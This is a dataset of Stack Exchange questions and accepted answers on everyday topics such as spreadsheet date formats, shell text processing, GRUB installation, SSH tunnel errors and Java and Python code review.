{  "id": "_webapps.59661"  , "question": "Whenever entering the date e.g. day-month-year, it automatically changes to month-day-year. I went into format>number>more formats>more date and time formats, and I changed it to day-month-year. And again, when entering day-month-year e.g. 18-4-2014, it changes it to 4-18-2014, but when I click on the date, it shows as 18/4/2014 next to fx above the page. So it looks like Google Spreadsheet is messing up. How to fix this?"  , "title": "Date format in Google Spreadsheet is not correct"  , "tags": "google spreadsheets;formatting;date"  , "accepted_answer": "The solution is to set the correct Local under the Spreadsheet's settings (This affects formatting defaults, such as currency.). So if you want US.locale style (MM-DD-YYYY), then choose US.Locale. If you are in a different locale and want formatting"  } 
{  "id": "_webapps.44430"  , "question": "I have a separate sheet with some data where a user's input will reference the row number of a sheet. I'm trying to reference that sheet by inserting the column letter and taking a number input from a cell to make up the row #.I've tried:=Sheet2!INDIRECT(A&A1)where A1 in the current sheet holds a value of 2, thus I want it to obtain=Sheet2!A2The formula returns #ERROR (error - parse error)How (if possible) can I reference it in that way?"  , "title": "Using INDIRECT() in sheet reference range"  , "tags": "google spreadsheets;formulas;worksheet function"  , "accepted_answer": "Figured it out... took me a while...INDIRECT() has to wrap the entire reference. In order to achieve what I needed, the formula looked like this:=INDIRECT(Sheet2!A&A1)"  } 
{  "id": "_unix.237427"  , "question": "I try to eliminate from a file_in.dat as follow:283  K00845.01  16.329762180    177.2951100         0.9830284     K00846.01   27.807562927    186.7135320 15   K00847.01  80.872063900    203.8969600 4.73    0.764016    K00848.01 3.166464930 17   K00849.01  10.355331770    170.9368500 3.09    0.918018 K00850.01    10.526294063    176.5225030 8.50a single letter (K) from each line of the file.So I tough to use sed or echo or the follow idea:cut -d \\K -f file_in.dat > file_out.datBut  I found some problem with this idea.Can someone help me ? Thanks."  , "title": "Cut a letter from each line of a file"  , "tags": "shell script;text processing"  , "accepted_answer": "Did you try : sed 's/K//' file_in.dat > file_out.dat "  } 
{  "id": "_scicomp.8637"  , "question": "Suppose I have a set of small subgraphs $A = \\{G_i\\}$ of an original directed acyclic graph $G$, typically $|G_i|<<|G|$, which together span the original graph $$G =  \\cup G_i$$My question is then if I take a arbitrary subset of these graphs $A' \\subset A$, and a single subgraph from this graph, $a \\in A'$, is the any simple way (or known algorithm) of reassembling the subgraph $G' \\subset G$ given by that portion of the union of $A'$ connected to $a$?In words, this is rather like a jigsaw problem where $A$ is the total collection of pieces that originally came in the box, $A'$ is the subset left after half of them got lost and $a \\in A'$ the random selected piece you put down the start the puzzle off. The question is then what is the largest connected graph (connected subset of pieces $x \\in A'$) that you can lay down all on the board. The actual application arises where each subgraph $G_i$ of $A$ represents a rule and (e.g. $x \\wedge y \\Rightarrow z$) and the objective is to find the largest rule implied transitively from an initial seed rule $a \\in A' \\subset A$ and the remaining rules contained in thinned out subset $A' \\subset A$. I think similar things are possible in declarative language such as Prolog but I suspect that Prolog can actually do any more. Any good up-to-date reference on declarative programming languages would also be very useful."  , "title": "a jigsaw problem: recreating a subgraph from a limited number of fragments on an original graph"  , "tags": "graph theory"  } 
{  "id": "_unix.359643"  , "question": "I'm using screen /dev/ttyS0 to connect to the serial console of a device. Once I have established my environment on the device I start screen on the device to have multiple shells there.Of course, this means I need to double-escape the screen commands for the inner session, which is annoying, because you're not used to it. That's why I do :escape  for the outer session, because I don't use screen features in the outer session anymore, but only in the inner session.This is fine for most of the time, but no matter which character I use as outer escape key, every now and then I will need it as regular character. But since this happens so rarely, I don't remember to escape it, causing strange things to happen (you probably know that).So I would prefer to disable it completely. I don't need it anymore (if I want to close the outer screen session, I close the terminal window). From the manual I don't find a way to disable it. Am I missing something?"  , "title": "screen in screen session: How to disable outer screen's escape?"  , "tags": "gnu screen"  } 
{  "id": "_unix.331408"  , "question": "How would you monitor a directory on a Linux machine to check if there was a user (or someone from the network) who attempted to access it?"  , "title": "Monitor accesses to directory on a Linux machine"  , "tags": "files;security;monitoring;audit"  , "accepted_answer": "inotify like soinotifywait -m -e modify,create,delete -r /var/www >> /var/log/i-see-www 2>&1assuming you meant worked in when you said access, simply listing or reading files .. that'd be harder to do."  } 
{  "id": "_cstheory.10291"  , "question": "While it is very common to see successful autodidact musicians, painters, authors and architects - I am not familiar with any famous autodidacts in the field of TCS.Are there any examples of an accomplished autodidact theoretical computer scientist (i.e., someone who published a significant paper, without ever going to grad school) ? "  , "title": "Accomplished autodidact theoretical computer scientists"  , "tags": "soft question"  , "accepted_answer": "In addition to some of the great people listed in the comments, Gregory Chaitin independently developed much of Kolmogorov complexity while he was a highschool student in New York city. "  } 
{  "id": "_unix.96650"  , "question": "I would very much like to allow users in a small office environment harness the power of slocate indexed database on the file server.Currently when users are looking for a file in our fileserver, they need to run find from their Windows workstations on the network shares that are available from the server. This loads up the server while other are working.Alternatively, I could set the indexers in every workstation to index the server locations. This is not ideal either, as the server would again be loaded a task that must be run multiple times a day on the same set of data!Ideally, the file server will carry out its own indexing and my users (who are oblivious to Linux and its command-line) will be able to log on to a simple website on the file server and run a search in much the same way I run locate commands in the command line.Is there something available?"  , "title": "is there a web app for returning results to a search on an indexed database?"  , "tags": "web;file server;locate"  , "accepted_answer": "I looked and did not find any offering that provided just a web app interface to an existing slocate database file. So you have the following options:Roll your own. Shouldn't be too difficult use a CGI based approach which would allow users to search for entries in your pre-built slocate database file.Skip using the slocate database file and use a dedicated search engine such as one of the following that includes both a crawler and a web frontend:OpenSearchServerHyper EstraierRecoll + Recoll-WebUIWumpus Search Engine"  } 
{  "id": "_codereview.113894"  , "question": "I'm a beginner at coding, and I am looking to improve the structure of how I write code and will take any tips. Posted a simple program that takes your name as input, then runs the string through a switch statement to print out how many of each character your name has, as well as any spaces and symbols.package practice;import java.util.Scanner;public class counter {    public static void main(String[] args) {        Scanner data = new Scanner(System.in);        String name;        System.out.println(Enter name);        name = data.nextLine();        int len = name.length();        int ch = 0;        int charCount = 0;        int space = 0;        int symbols = 0;        int a = 0,b = 0,c = 0,d = 0,e = 0,f = 0,g = 0,h = 0,i = 0,j = 0,k = 0,l = 0,m = 0;        int n = 0,o = 0,p = 0,q = 0,r = 0,s = 0,t = 0,u = 0,v = 0,w = 0,x = 0,y = 0,z = 0;            for (int in = 0;in < len; in++)                {                switch(name.charAt(ch))                    {                        case 'a':                            a++;                            charCount++;                            break;                         case 'b':                            b++;                            charCount++;                            break;                        case 'c':                            c++;                            charCount++;                            break;                        case 'd':                            d++;                            charCount++;                            break;                        case 'e':                            e++;                            charCount++;                            break;                            case 'f':                                f++;                            charCount++;                            break;                        case 'g':                            g++;                            charCount++;                            break;                        case 'h':                            h++;                            charCount++;                            break;                        case 'i':                            i++;                            charCount++;                            break;                        case 'j':                            j++;                            charCount++;                            break;                        case 'k':                            k++;                            charCount++;                            break;                        case 'l':                            l++;                            charCount++;                            break;                        case 'm':                            m++;                            charCount++;                            break;                        case 'n':                            n++;                            charCount++;                            break;                        case 'o':                            o++;                            charCount++;                            break;                        case 'p':                            p++;                            charCount++;                            break;                        case 'q':                            q++;                            charCount++;                            break;                        case 'r':                            r++;                            charCount++;                            break;                        case 's':                            s++;                            charCount++;                            break;                        case 't':                            t++;                            charCount++;                            break;                        case 'u':                            u++;                            charCount++;                            break;                        case 'v':                            v++;                            charCount++;                            break;                        case 'w':                            w++;                            charCount++;                            break;                        case 'x':                            x++;                            charCount++;                            break;                        case 'y':                            y++;                            charCount++;                            break;                        case 'z':                            z++;                            charCount++;                            break;                    default:                        if(name.charAt(ch) == ' ')                            space++;                        if(name.charAt(ch) != ' ')                            symbols++;                        break;                    }                char temp = Character.toUpperCase(name.charAt(ch));                if(name.charAt(ch) == temp && temp != ' ' )                    {                        System.out.println(ERROR: UPPERCASE NOT ALLOWED);                        System.out.println(EXITING APPLICATION);                        System.exit(1);                    }                if(name.charAt(ch) == '0' && name.charAt(ch) == '1' && name.charAt(ch) == '2' )                    {                           System.out.println(ERROR: NUMBERS NOT ALLOWED);                        System.out.println(EXITING APPLICATION);                        System.exit(1);                    }                if(name.charAt(ch) == '3' && name.charAt(ch) == '4' && name.charAt(ch) == '5' )                    {                        System.out.println(ERROR: NUMBERS NOT ALLOWED);                        System.out.println(EXITING APPLICATION);                        System.exit(1);                    }                if(name.charAt(ch) == '6' && name.charAt(ch) == '7' && name.charAt(ch) == '8' )                    {                        System.out.println(ERROR: NUMBERS NOT ALLOWED);                        System.out.println(EXITING APPLICATION);                        System.exit(1);                    }                if(name.charAt(ch) == '9' )                    {                        System.out.println(ERROR: NUMBERS NOT ALLOWED);                        System.out.println(EXITING APPLICATION);                        System.exit(1);                    }                ch++;                }            if (a > 0){                System.out.println(There are (+a+-As)  in your name);            }            if (b > 0){                System.out.println(There are (+b+-Bs)  int your name);            }            if (c > 0){                System.out.println(There are (+c+-Cs)  int your name);            }            if (d > 0){                System.out.println(There are (+d+-Ds)  int your name);            }            if (e > 0){                System.out.println(There are (+e+-Es)  int your name);            }            if (f > 0){                System.out.println(There are (+f+-Fs)  int your name);            }            if (g > 0){                System.out.println(There are (+g+-Gs)  int your name);            }            if (h > 0){                System.out.println(There are (+h+-Hs)  int your name);            }            if (i > 0){                System.out.println(There are (+i+-Is)  int your name);            }            if (j > 0){                System.out.println(There are (+j+-Js)  int your name);            }            if (k > 0){                System.out.println(There are (+k+-Ks)  int your name);            }            if (l > 0){                System.out.println(There are (+l+-Ls)  int your name);            }            if (m > 0){                System.out.println(There are (+m+-Ms)  int your name);            }            if (n > 0){                System.out.println(There are (+n+-Ns)  int your name);            }            if (o > 0){                System.out.println(There are (+o+-Os)  int your name);            }            if (p > 0){                System.out.println(There are (+p+-Ps)  int your name);            }            if (q > 0){                System.out.println(There are (+q+-Qs)  int your name);            }            if (r > 0){                System.out.println(There are (+r+-Rs)  int your name);            }            if (s > 0){                System.out.println(There are (+s+-Ss)  int your name);            }            if (t > 0){                System.out.println(There are (+t+-Ts)  int your name);            }            if (u > 0){                System.out.println(There are (+u+-Us)  int your name);            }            if (v > 0){                System.out.println(There are (+v+-Vs)  int your name);            }            if (w > 0){                System.out.println(There are (+w+-Ws)  int your name);            }            if (x > 0){                System.out.println(There are (+x+-Xs)  int your name);            }            if (y > 0){                System.out.println(There are (+y+-Ys)  int your name);            }            if (z > 0){                System.out.println(There are (+z+-Zs)  int your name);            }        System.out.println(\\nThere are a total of +charCount+ characters);        System.out.println(\\nThere are (+space+-Spaces)  in the data);        System.out.println(\\nThere are +symbols+-Symbols in the data);    }}"  , "title": "Counting characters"  , "tags": "java;beginner;strings;console"  } 
{  "id": "_unix.19225"  , "question": "Possible Duplicate:Resources to learn linux architecture in detail? I migrated to UNIX (Linux, Ubuntu) and I'm trying to understand the organisation of files and directories. I stumbled upon File Hierarchy Standard (quite old it seems) and it made me wonder if this is the ACTUAL standard that is used.Also may I ask if additional links to resources to broaden my knowledge (and everyone that asks questions about FHS) on these wonderful NIX* environments."  , "title": "Where can I find the Official File Hierarchy Standard for UNIX?"  , "tags": "fhs;standard"  , "accepted_answer": "Here it is: The FHS 2.3 Specification"  } 
{  "id": "_unix.237249"  , "question": "My Document viewer is not able to launch. When I open it using commandline it gives me the following error:evinceevince: error while loading shared libraries: libffi.so.6: failed to map     segment from shared object: Permission deniedwhen I sudo it gives me the following error:sudo evince ass3.pdf No protocol specified** (evince:13785): WARNING **: Could not open X displayNo protocol specifiederror: XDG_RUNTIME_DIR not set in the environment.Cannot parse arguments: Cannot open display:How to make it open normally, by normally I mean when I click on a pdf with my mouse? "  , "title": "Some applications on my unbuntu won't launch (document viewer)"  , "tags": "libraries;desktop"  } 
{  "id": "_unix.295864"  , "question": "I want to paste one file (with vectos 1xn) in another file?Example:File1 rs01  rs02  rs03File2AA     BB    CCHow I can do this? But in my case, I have 55,000 column in File1 and File2, so, I've been thinking that is difficult to use the command  to put head."  , "title": "how to paste a file into another file (turn one), but one under the other?"  , "tags": "terminal;paste"  , "accepted_answer": "The cat utility concatenates all its inputs into one data stream.Giving it two files, it produces output consisting of the complete contents of the first file, followed by the complete contents of the second file, in that order.In your case:$ cat file1 file2 >file-1-and-2"  } 
{  "id": "_webapps.17455"  , "question": "Firstly, I understand how I can use google apps to point a domain (my company's domain say 'greatapp.com' at 'greatapp.appspot.com' no problems there.I also understand that once I've got it onto 'greatapp.com' I can use wildcard hostnames to host the app on '*.greatapp.com' no issues there.The point is that the application I'm thinking about building would be one which I would charge companies to use, and it would probably need to be co-branded, and therefore the company might want to use their own domains for displaying their data to customers, so data.companyname.com instead of companyname.greatapp.com.Would GAE accept a domain pointed by the company via CNAME (or whatever) or is that not possible?"  , "title": "Can Google App Engine support multiple domains pointing at a single appsot.com (or apps domain) GAE app?"  , "tags": "google app engine"  , "accepted_answer": "James, have a look at this http://www.tipfy.org/wiki/cookbook/dynamic-subdomains/ for code example. It is possible.One thing to note is that AppEngine doesn't allow naked domain (domain without www). So when you are setting up a custom domain pointing to your AppEngine instance, you are setting up a CNAME for www."  } 
{  "id": "_unix.223656"  , "question": "I am trying to include an attachment to my sendmail eml file.The current eml file (order.eml) has the following contentsFrom: Sender <sender@email.com>To: client@email.co.zaSubject: ReportMime-Version: 1.0Content-Type: multipart/mixed; boundary=B835649000072104Jul07--B835649000072104Jul07Content-Type: text/plain; charset=US-ASCIIContent-Transfer-Encoding: 7bitContent-Disposition: inlineBody Copy--B835649000072104Jul07Content-Type: application/pdfContent-Transfer-Encoding: base64Content-Disposition: attachment; filename=por5151.pdfbase64 por5151.pdf--B835649000072104Jul07--both the order.eml and por5151.pdf file are in the same directory and I try to send it with# /usr/sbin/sendmail -t < order.emlWhen the email arrives I can see the por5151.pdf in the attachments but it is blank (0 bytes). I don't know why this is and I am struggling to fix it"  , "title": "sendmail attachment is empty"  , "tags": "centos;sendmail;troubleshooting"  , "accepted_answer": "What you would need to do is include the file below the Content-Disposition: attachment; filename=por5151.pdfline while you generate the .eml file. You can do so using the base64 utility:base64 por5151.pdfMake sure the closing boundary (--B835649000072104Jul07--) gets inserted behind that.sendmail doesn't interpret the file that you hand it, and therefore doesn't magically insert the contents of the .pdf file."  } 
{  "id": "_webmaster.41004"  , "question": "Assuming one submits a sitemap for a website in Google Webmaster, does Google reprocess it from time to time? If yes, at which rate?"  , "title": "Does Google reprocesses submitted sitemaps from time to time?"  , "tags": "google search console;sitemap"  , "accepted_answer": "Edit: Google will recrawl it (see comment by John Mueller from Google below).However, if you want your sitemap reprocessed more quickly by Google, the recommended practice is to resubmit it.You can resubmit using Webmaster Tools or using an HTTP request.Using Webmaster Tools:On the Webmaster Tools Home page, click the site you want.Under Optimization, click Sitemaps.Select the Sitemap(s) you want to resubmit, and then click the Resubmit Sitemap button.Source: http://support.google.com/webmasters/bin/answer.py?hl=en&answer=183669The linked source also describes the slightly more complex alternative method where you use an HTTP request."  } 
{  "id": "_unix.14374"  , "question": "I want to list usb ports in linux and then send a message to the printer connected to it. That message is sensed by the printer to open the cash drawer. I know I can use echo - e and a port name, but my difficulty is finding the port name. How can I list the available ports or the ports that are currently used?"  , "title": "List USB ports in linux"  , "tags": "linux;usb"  , "accepted_answer": "The lsusb command will yield the list of recognised usb devices.  Here is an example:$ lsusbBus 002 Device 003: ID 1c7a:0801 LighTuning Technology Inc. Bus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 004: ID 04ca:f01c Lite-On Technology Corp. Bus 001 Device 003: ID 064e:a219 Suyin Corp. Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubYou can note that the information provided include the bus path as well as the vendorId/deviceId.I'm not sure what the ports that are currently used actually means. EditTo write a message to the device on bus 1 device 2 you must access the device $ ls -l /dev/bus/usb/001/002  crw-rw-r-- 1 root root 189, 1  2011-06-04 03:11 /dev/bus/usb/001/002"  } 
{  "id": "_unix.364708"  , "question": "The thing is, you can specify a port to SCP, and you can transfer stuff from a remote host to another.If both hosts use different ports on SSH (i.e. 2203 and 2541), how can I specify these ports to the SCP command?I know I can doscp -P <port> host1:/file host2:/fileBut that port will apply to both hosts.So... how can I specify two different ports for the two different hosts?"  , "title": "SCP between two different servers with two different ports"  , "tags": "scp;remote"  } 
{  "id": "_unix.305345"  , "question": "Currently I have Arch and Windows with grub installed and configured. I'm going to make another Arch installation on a separate partition.Do I need to install and configure grub again on the newly installed distribution or I can use the old one?I suppose that if I continue using the old (current from this point of view) grub I'd have to configure it again so that it sees the new Arch installation.What will happen if I format the current partition (with the old Arch installation)?Will grub continue working or not (i.e. I'd need to boot some live-cd to fix it)?To sum up: is grub installed on some general place independently from any OS, or is it tied to some (my current Arch installation).Tutorials give this command: grub-mkconfig -o /boot/grub/grub.cfg which makes me think that grub is tied to the specific linux installation; but they also show a grub-install command without specifying any directory.And if grub was tied to the current installation, how would my computer know which partition to check for grub? Otherwise, if it was general, why would I have to install it as a package on the specific arch installation?"  , "title": "Where is grub installed and do I need a new one for a separate linux installation?"  , "tags": "filesystems;boot;grub2;dual boot;boot loader"  , "accepted_answer": "Naming convention:GRUB (some of it) stays in the MBR.GRUB (rest of it) are several files that are loaded, from /boot/grub (for example: that nice image that appears as a background in GRUB is not stored on the MBR)Notes:The answer is considering an MBR setup, GRUB can be used in other setups.In an EFI setup things get hairy, GRUB can be used, but so can be the kernel itself as its own EFI stub.GRUB (some of it) is installed in the MBR.  The MBR are the first 512 bytes on a disk.  The MBR is also used by the partition table of the disk, therefore GRUB itself has somewhat less space than the 512 bytes.The GRUB (some of it) inside the MBR loads a more complete GRUB (rest of it) from another part of the disk, which is defined during GRUB installation to the MBR (grub-install).  Since the MBR GRUB needs to find its counterpart on disk, which normally resides on /boot, the partition where the main GRUB resides cannot be too far from the partition table (often 512MB but may vary).It is very useful to have /boot as its own partition, since then GRUB for the entire disk can be managed from there.What does it mean:The GRUB on MBR can only load one GRUB (the rest of it) from disk.That specific GRUB (the rest of it) on disk must be configured to find all OSes on the machine.The command grub-mkconfig -o /boot/grub/grub.cfg runs os-prober (if it can find it) which scans all partitions and produces a grub.cfg pointing to all the OSes.Therefore if you have several partitions with /boot (or the MS windows equivalents, I do not know them but os-prober knows) the os-prober will find them and create grub.cfg accordingly.  Running grub-install install a GRUB (some of it) on the MBR that points to the GRUB of the current running OS with the current grub.cfg.What does this mean:You only need a single GRUB for the entire system.You can have different GRUBs on different disks (since they have distinct MBRs) but that only makes sense if you plan to remove the disk.You can manage the boot of all OSes from a single GRUB installation.On a single disk you shall always run grub-install from a single OS only!  That's important, otherwise you will keep overwriting your config."  } 
{  "id": "_webmaster.83896"  , "question": "I have a website for testing. I don't want this site to be indexed by search engines. Now pages on the site return 200 OK in headers. How to make the whole site send code 404 in headers, but stay working?Site is built on ModX."  , "title": "How to make whole site headers send code 404?"  , "tags": "indexing;404;modx"  } 
{  "id": "_webmaster.95276"  , "question": "Can we add multiple Google Analytic property ids in a one Google Tag Manager tag?"  , "title": "Multiple Google Analytic property ids in One Google Tag Manager tag"  , "tags": "google analytics;google tag manager"  } 
{  "id": "_unix.26619"  , "question": "I have a C program which I want to run as a daemon. How do I install it so it will run as a daemon on CentOS? Someone said to use @reboot, and some said to put it in /etc/rc.d/rc.local. Which is the right way?"  , "title": "How to run a C program as a daemon?"  , "tags": "centos;daemon;c"  , "accepted_answer": "Neither. If you want to have it behave properly like a real daemon you should place it using the init system - /etc/init.d ( and make appropriate runlevel links in the appropriate /etc/rc.X folders )Run a search or have a look at something like this: https://serverfault.com/questions/204695/comprehensive-guide-to-init-d-scripts"  } 
{  "id": "_opensource.1582"  , "question": "If I release a program specification [1] under the AGPL, and the program itself under the AGPL, the two are obviously compatible: I can develop them at the same time, copy text (for example, method headers) between them freely, derive methods from the spec requirements, back-derive requirements from implementation (it happens, ok ;). But, the specification would not be compatible with BY-SA works (say, Wikipedia or Stack Exchange).If I release the specification under BY-SA instead, it is still compatible in one direction (from spec to software), because BY-SA is one-way compatible with the GPL [2], and the GPL is compatible with the AGPL.But, if I release the specification under BY-SA (including releasing it before the software), am I losing any of the copyleft strength of the AGPL. i.e. enabling someone to create a non-copyleft work where they couldn't before?(Looking at it another way, if I release just an AGPL specification, am I guaranteeing that any implementation must be AGPL? Or is anyone free to develop the ideas in the spec under any license they want?)[1] To clarify, a specification is not end-user documentation (a manual), it is a (sometimes very detailed) outline and plan for what the software must do.The answer obviously rests on the judgment of to what extent the code is a derivative work of the specification. I will obviously accept an answer of it depends, not tested in law, etc, if that is the most accurate answer possible :D[2] It appears I am dreaming and this is underway, but not yet finalised. Let's assume for the sake of argument we are a few months in the future and it's true."  , "title": "Does a CC BY-SA 4.0 specification lose any AGPL3+ benefits?"  , "tags": "license compatibility;copyleft;cc by sa;agpl 3.0;software development"  } 
{  "id": "_unix.197588"  , "question": "I was doing this  tutorial, but when it comes to the part where O should run these commands:local-server#  ssh -NTCf -w 0:0 87.117.217.27local-server#  ssh -NTCf -w 1:1 87.117.217.44It says:channel 0: open failed: administratively prohibited: open failedHow can I fix that?"  , "title": "Channel 0: open failed: administratively prohibited: open failed"  , "tags": "ssh;ssh tunneling"  , "accepted_answer": "After discussing this in a chat and debugged the issue, it turned out that the required directive PermitTunnel yes was not in place and active. After adding the directive to /etc/ssh/sshd_config and reloading sshd by service sshd reload this was resolved.We added -v to the ssh command to get some debugging information and from that we found:debug1: forking to backgroundroot@ubuntu:~# debug1: Entering interactive session.debug1: Remote: Server has rejected tunnel device forwardingchannel 0: open failed: administratively prohibited: open faileddebug1: channel 0: free: tun, nchannels 1The server actively rejected the tunnel request which pointed us to the right directive."  } 
{  "id": "_codereview.49576"  , "question": "I have written a partition function in Python (my_partition_adv).  I have written this one after reading a similar function from a website.  The version of the partition function from the website is also given below (parititon_inplace).As I am a beginner in Python, I want to know the following things:My version looks certainly more readable than the  partition_in_place_with_additional_memory.Are there any drawbacks for my version in terms of complexity that I am missing?Are there any other drawbacks for my_partition_adv over partition_inplace?def partition_inplace(A, start, stop, pivot_index):    items_less_than = []    items_greater_than_or_equal = []    read_index = start    while read_index <= stop:        item = A[read_index]        if item < pivot_value:            items_less_than.append( item )        else:            items_greater_than_or_equal.append( item )        read_index += 1    write_index = start    for item in items_less_than:        A[write_index] = item        write_index += 1    for item in items_greater_than_or_equal:        A[write_index] = item        write_index += 1    return len(items_less_than)def my_partition_adv(A,p_val):        less_than = []        greater_than_or_equal = []        for index, item in enumerate(A):            if item < p_val:                less_than.append(item)            else:                greater_than_or_equal.append(item)        for index,item in enumerate(less_than):            A[index] = less_than[index]        for index,item in enumerate(greater_than_or_equal):            A[len(less_than) + index] = greater_than_or_equal[index]        return len(less_than)"  , "title": "Comparing two partition functions in Python"  , "tags": "python;beginner;python 2.7;comparative review"  } 
{  "id": "_webapps.71003"  , "question": "Ire any way to configure the video speed on Udacity, not just for the current video but for all videos? Each time I change the video speed it gets back to 1 when I go to another video (same for the video quality) through clicking on some link (i.e. not waiting for the next video to load)."  , "title": "Configuring the video speed on Udacity"  , "tags": "video"  } 
{  "id": "_cstheory.34361"  , "question": "Manuel Blum is a well-known theoretical computer scientist and a Turing award winner. But more interestingly, he has the highest number of students who have gone on to win a Turing award (Leonard Adleman, Shafi Goldwasser, Silvio Micali) in the whole computer science. The list of his students is amazing and even more so if we include the students of his students.Can anyone comment on Manuel's supervisory style? What makes him so successful in training exceptional researchers? Anything that can help other supervisors be more successful in training exceptional researchers? "  , "title": "Manuel Blum's supervisory style"  , "tags": "soft question;research practice"  } 
{  "id": "_softwareengineering.303090"  , "question": "I would like to understand what would be the optimal method of finding minimum tree coverage of tree nodes. Let me explain.I have a self-referencing structure that represents a tree, with a limited depth of X.Nodes in the tree can be logically selected. From the application perspective, it means that user would like to have some aggregate information about the selection.Let's say user picks nodes A, D, I, J, L and M.What I would like to do is to be able to restructure the users selection in order to pick the minimum set of nodes that cover the entire selection.For this example:nodes I and J can be covered by their common parent node F, so I pick F and remove I and Jnode M can be covered by it's parent node H, so I pick H and remove Mnode D is already covered by node A, so I remove DAfter that, nothing can be restructured further - algorithm stops and I should get the following selection.First, I don't know if minimum coverage is the good name. Second, I can't find any better phrase, so Google is not my best friend here.Another thing to note is that the tree itself can be stored:in-memoryin transactional databasein OLAP database (not exactly self-referencing any more)I'm stuck :(EDITI have been thinking a lot about this problem, and there might be a solution that I have to analyse.Following can be introduced:let's call tree itself the template treelet's call selection the selection treeeach node of the template tree has a precalculated redundant attribute - number of children nodesthe selection tree can be dirty or cleanafter a node is added, if nothing is done yet, it's in the dirty stateafter the restructuring is done, it's in the clean stateeach node of the selection tree has redundant attributes - number of children nodes selected and state: selected or ghostselection tree is a variant of in-memory doubly linked tree (child knows its parent, parent knows its children)After that, adding a node in the selection tree (selection-node) would work like this.Let's call the new parent of the new node in selection tree a selection-parent, and parent of the new node in template tree a template-parent.Let's call the children of the selection tree node selection-children, and children of the template tree node template-children.Set dirty state of selection treeRemove all selection-children of selection-nodeIf unexistent in selection tree, fetch template-parent of selection-node, along with its number of children attribute; add selection-parent as a ghost node, with selected number of children = 1If existent in selection tree, access selection-parent of selection-node and increment its selected number of childrenIf selection-parent has selected number of children equal to number of template-children, promote its state from ghost to selected; treat that selection node as a new node and start at 1Set clean state of selection treeI'm curious whether this algorithm already exists as an implementation somewhere. It's behavior wouldn't obviously be worse than O(log(n)), right? Of course, if it doesn't lack something in the logic."  , "title": "MInimum tree coverage"  , "tags": "algorithms;trees"  } 
{  "id": "_unix.247902"  , "question": "I am trying to calculate what is the % of successful queries in apache log.I have two commands:cat access_log|cut -d' ' -f10|grep 2..|wc -landcat access_log|cut -d' ' -f10|wc -lThey return me the number of successful queries and total queries number. I want to calculate what is the % of successful requests using bash and if it is possible - it should be 1 line script. It suppose to output just the % number like - 50 or 12 without any additional info.I tried to use bc with it but failed because of lack of knowledges. Can somebody help me?"  , "title": "How to calculate % of successful queries"  , "tags": "bash;bc"  , "accepted_answer": "Try this:echo $(( 100 * $( cut -d' ' -f10 access_log|grep 2..|wc -l) / $(cut -d' ' -f10 access_log|wc -l) ))Bash can only handle integers."  } 
{  "id": "_unix.351571"  , "question": "I have two programs (mplayer and a custom java application) which both present GUI using framebuffers. They run in separate processes. I want to be able to switch from one program to the other without ending/killing the process of the other(the reason is that launching the java program takes a lot of time).I want to simulate sending one of the two programs to background and hiding its GUI and showing the other program's gui.I am running this on a Raspberry Pi, Debian distribution."  , "title": "Switching between two framebuffer programs"  , "tags": "linux;debian;shell;terminal;framebuffer"  } 
{  "id": "_unix.127625"  , "question": "How can I view all the addresses that sshguard has blocked to iptables?"  , "title": "View blocked address from sshguard"  , "tags": "ssh;iptables"  , "accepted_answer": "SSH Guard have to has it's own chain in iptables called sshguard and you can view rules in this chain by:iptables -nvL sshguardMore info on setup sshguard for iptables here"  } 
{  "id": "_unix.140408"  , "question": "I have tried creating a bootable Linux USB that i want to use on MacBook Pro 2013.I used 'MAC Linux USB Loader' to do that.Linux distros I tried it with: Slack puppy and DSL (Damn small linux)Flash Drive/USB: 512MB, 1024bytes FAT32 MBR formatted on windows, MAC doesn't do FAT32 for some reason.When I boot through MAC Alt/Option, it shows EIF drive, boots a bit and then I get this error:Kernel path: /live/vmlinuz | ramdisc path: /live/initrd.lz boot parameters: Loading Linux kernel... doneunaligned pointer 0x2. Aborted.I get this same error when booting any of the above mentioned OS.I have tried literally all other approaches of creating bootable Linux USB and none of them worked - Mac don't even show EIF drive on 'Alt' booting in these scenarios.I have tried many other tools listed here for MAC, but they don't detect my USB itself."  , "title": "Problem booting using Live USB on MAC"  , "tags": "linux;boot;macintosh"  } 
{  "id": "_softwareengineering.215727"  , "question": "When I tried searching this I would just get things on equality. When I was reading through some documentation for navigation in Android I had come across something I had never seen before. I came across this:mTitle = mDrawerTitle = getTitle();It almost looks like something you can do in JavaScript where you can take the first not-null variable and assign it to a variable.In JavaScript I would do this:mTitle = mDrawerTitle || getTitle();And it would return the first not null, in Java, is this double equals usage the equivalent in Java? What is this type of expression called? "  , "title": "Double equals (Not equality) during assigning Java"  , "tags": "java"  } 
{  "id": "_softwareengineering.162402"  , "question": "I'm trying to learn implementing TDD with mocking/fake objects. One of the questions I have is how to initialize a dependency in an application which implements TDD? An example from this article Beginning Mocking With Moq 3 shows:public class OrderWriter{    private readonly IFileWriter fileWriter;    public OrderWriter(IFileWriter fileWriter)    {        this.fileWriter = fileWriter;    }    public void WriteOrder(Order order)    {        fileWriter.WriteLine(String.Format({0},{1}, order.OrderId, order.OrderTotal));    }}In this example, the constructor takes an IFileWriter parameter, I suppose because you want to supply the real file writer in case of the actual application, and the fake one for unit test. My question is, in the real application, who will supply this parameter? I suppose it will be the caller of this application. What if it has dependency as well in the constructor? Will the caller code be responsible for that too?Maybe the better way is to use factory. How would this factory work? And how  will the factory be distributed? Will it be in the constructor parameter like in the above manner?"  , "title": "Who should initialize dependencies in a TDD application?"  , "tags": ".net;unit testing;tdd;dependency injection;mocking"  , "accepted_answer": "What you're looking for is an IoC container to autowire all your objects at application startup. Take a look at Ninject, it has a very simple example on the front page. (It's also a good product and ... well, ninjas!)As a general rule, you should attempt to resolve all of your top-level objects (eg. Page in ASP.NET, Controller in MVC for ASP.NET, Form in Winforms) directly from the IoC container and let it wire up ALL your dependencies through constructor injection. There will be times when you have to force it to resolve a lower-level item -- this is known as using it as a Service Locator -- but this should generally be avoided as they are tricky (but not impossible) to test, and create an API that can be confusing for the consumer, if that isn't you.ASP.NET for MVC has, since v3, been specifically designed to abstract away the IoC container from the rest of your code while allowing you to auto-inject into any top-level class (Controller, View, Filter, etc) through the DependencyResolver class. Other .NET frameworks take a bit more effort, but it's possible if you Google around.There is a book on the subject called Dependency Injection in .NET. I haven't read it personally, but I've heard good things."  } 
